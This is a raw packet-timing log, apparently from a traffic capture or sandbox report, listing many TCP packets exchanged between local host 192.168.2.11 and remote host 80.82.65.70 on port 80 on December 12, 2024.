                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.172374964 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.172977924 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.173044920 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.173051119 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.173216105 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.173764944 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.173875093 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.173877954 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.173924923 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.174535036 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.174621105 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.174658060 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.174719095 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.175434113 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.175441980 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.175498962 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.176100016 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.176179886 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.176213980 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.176242113 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.176893950 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.177000046 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.177077055 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.177674055 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.177764893 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.177843094 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.178453922 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.178523064 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.178538084 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.178590059 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.179431915 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.179461002 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.179500103 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.179532051 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.234621048 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.234735966 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.234827995 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.234903097 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.235002995 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.235058069 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.235095978 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.235163927 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.235671043 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.235785007 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.235793114 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.235838890 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.236541986 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.236603022 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.236644030 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.236694098 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.271397114 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.271533012 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.271621943 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.271781921 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.271935940 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.271982908 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.272027969 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.272079945 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.272625923 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.272680044 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.272727013 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.273461103 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.273612976 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.273632050 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.274305105 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.274367094 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.274404049 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.275029898 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.275094986 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.275096893 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.275830030 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.275907993 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.276010990 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.276071072 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.276551962 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.276770115 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.276854038 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.277328014 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.277439117 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.277508020 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.278263092 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.278283119 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.278325081 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.278354883 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.278908014 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.278965950 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.279057026 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.279110909 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.279661894 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.279715061 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.279807091 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.280108929 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.280461073 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.280566931 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.280627012 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.280627966 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.281256914 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.281330109 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.281348944 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.281411886 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.282079935 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.282144070 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.282234907 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.282485962 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.282813072 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.282861948 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.282893896 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.282921076 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.283582926 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.283642054 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.283675909 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.283735037 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.284368038 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.284415007 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.284477949 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.285139084 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.285197973 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.285240889 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.285293102 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.285974979 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.286062002 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.286099911 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.286156893 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.349251986 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.349349976 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.349467039 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.349545002 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.349642992 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.349651098 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.349858046 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.349925995 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.350430965 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.350554943 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.350583076 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.350687981 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.351224899 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.351281881 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.351398945 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.351457119 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.351995945 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.352051020 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.352113008 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.352787018 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.352963924 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.353076935 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.353557110 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.353667021 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.353766918 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.354569912 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.354634047 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.354654074 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.355366945 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.355458021 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.355503082 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.355565071 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.356118917 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.356220007 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.356257915 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.356295109 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.356765032 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.356867075 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.356996059 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.357079029 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.357613087 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.357696056 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.357734919 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.357764959 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.358346939 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.358421087 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.358491898 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.358567953 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.359098911 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.359158039 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.359196901 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.359241962 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.359872103 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.359992981 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.360034943 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.360265970 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.360630989 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.360687017 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.360714912 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.360748053 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.361413956 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.361501932 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.361530066 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.361653090 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.362183094 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.362337112 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.362349033 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.362433910 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.362970114 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.363024950 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.363028049 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.363085985 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.363765955 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.363833904 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.363848925 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.363913059 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.364542961 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.364650965 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.364732981 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.364785910 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.365345955 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.365420103 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.365464926 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.365706921 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.366482019 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.366641045 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.366729975 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.366791010 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.367247105 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.367306948 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.367348909 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.367398024 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.367959023 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.368097067 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.368122101 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.368185997 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.368593931 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.368649006 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.368751049 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.368812084 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.369328976 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.369426966 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.369431973 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.369565010 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.370085001 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.370145082 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.370147943 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.370194912 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.370871067 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.370896101 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.370923042 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.370984077 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.371634007 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.371675968 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.371706963 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.373745918 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.426933050 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.427022934 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.427054882 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.427089930 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.427299976 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.427388906 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.427479029 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.427659988 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.428071022 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.428122997 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.428252935 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.428303957 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.428834915 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.428942919 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.463706970 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.463818073 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.463977098 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.464039087 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.464122057 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.464325905 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.464433908 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.464946032 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.464998960 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.465059996 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.465146065 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.466128111 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.466176033 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.466269970 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.466320992 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.466506004 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.466511965 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.466562033 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.467359066 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.467423916 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.467453957 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.467578888 CET4981980192.168.2.1180.82.65.70
